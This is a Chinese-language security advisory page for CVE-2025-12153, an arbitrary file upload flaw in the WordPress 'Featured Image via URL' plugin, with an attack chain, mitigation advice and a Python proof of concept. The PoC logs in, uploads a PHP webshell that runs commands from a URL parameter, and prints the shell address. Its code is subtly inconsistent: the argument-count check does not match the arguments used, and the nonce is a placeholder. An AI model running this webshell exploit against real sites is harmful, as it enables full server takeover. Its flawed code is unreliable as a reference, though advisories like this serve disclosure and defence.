IPBUF安全漏洞报告
English
CVE-2025-12153 CVSS 8.8 高危

CVE-2025-12153 WordPress Featured Image via URL插件任意文件上传漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-12153
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Featured Image via URL plugin

相关标签

任意文件上传远程代码执行WordPress插件漏洞Featured Image via URLCVE-2025-12153Web安全身份验证绕过

漏洞概述

CVE-2025-12153是WordPress的Featured Image via URL插件中存在的一个高危安全漏洞。该漏洞影响所有0.1及以下版本,允许已认证的攻击者(具有Contributor级别或更高权限)上传任意文件到服务器。由于缺少文件类型验证功能,攻击者可以上传恶意文件(如PHP webshell),从而实现远程代码执行,可能完全控制受影响的WordPress网站。此漏洞的CVSS评分为8.8,属于高危级别,攻击向量为网络,认证要求较低(只需低权限用户),无需用户交互即可实施攻击,对机密性、完整性和可用性均造成高影响。

技术细节

该漏洞的根本原因在于Featured Image via URL插件缺少适当的文件类型验证机制。在处理文件上传时,插件直接接受用户提供的文件而未进行严格的类型检查和内容验证。攻击者可以通过WordPress的REST API或管理员接口,使用具有Contributor权限的账户,上传包含恶意代码的文件(如.php webshell)。上传的文件被保存在wp-content/uploads目录下,由于缺乏执行限制,上传的PHP文件可以直接在服务器上执行,从而实现远程代码执行。攻击者可以利用webshell执行任意系统命令,读取敏感配置文件,访问数据库,甚至完全接管服务器。

攻击链分析

STEP 1
1
攻击者获取WordPress网站账户(具有Contributor级别或更高权限)
STEP 2
2
构造恶意文件上传请求,包含PHP webshell代码
STEP 3
3
通过插件的文件上传功能将恶意文件上传至服务器wp-content/uploads目录
STEP 4
4
访问上传的PHP文件,通过URL参数执行任意系统命令
STEP 5
5
实现远程代码执行,完全控制服务器,读取敏感数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12153 PoC - Arbitrary File Upload # Target: WordPress with Featured Image via URL plugin <= 0.1 def upload_webshell(target_url, username, password): """ Upload malicious PHP file to achieve RCE """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Upload malicious PHP file via plugin endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # PHP webshell content php_shell = b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', php_shell, 'application/x-php') } data = { 'action': 'fivur_upload', 'nonce': 'attacker_controlled_or_bruteforced' } response = session.post(upload_url, files=files, data=data) # Step 3: Execute commands via uploaded webshell if response.status_code == 200: shell_url = f"{target_url}/wp-content/uploads/shell.php" print(f"[+] Webshell uploaded: {shell_url}") print(f"[+] Execute commands: ?cmd=whoami") return shell_url else: print("[-] Upload failed") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_webshell(target, user, pwd)

影响范围

Featured Image via URL plugin <= 0.1

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Featured Image via URL插件。同时,限制用户的上传权限,审查所有已上传的可执行文件,并考虑使用服务器端的安全策略阻止PHP文件在uploads目录执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表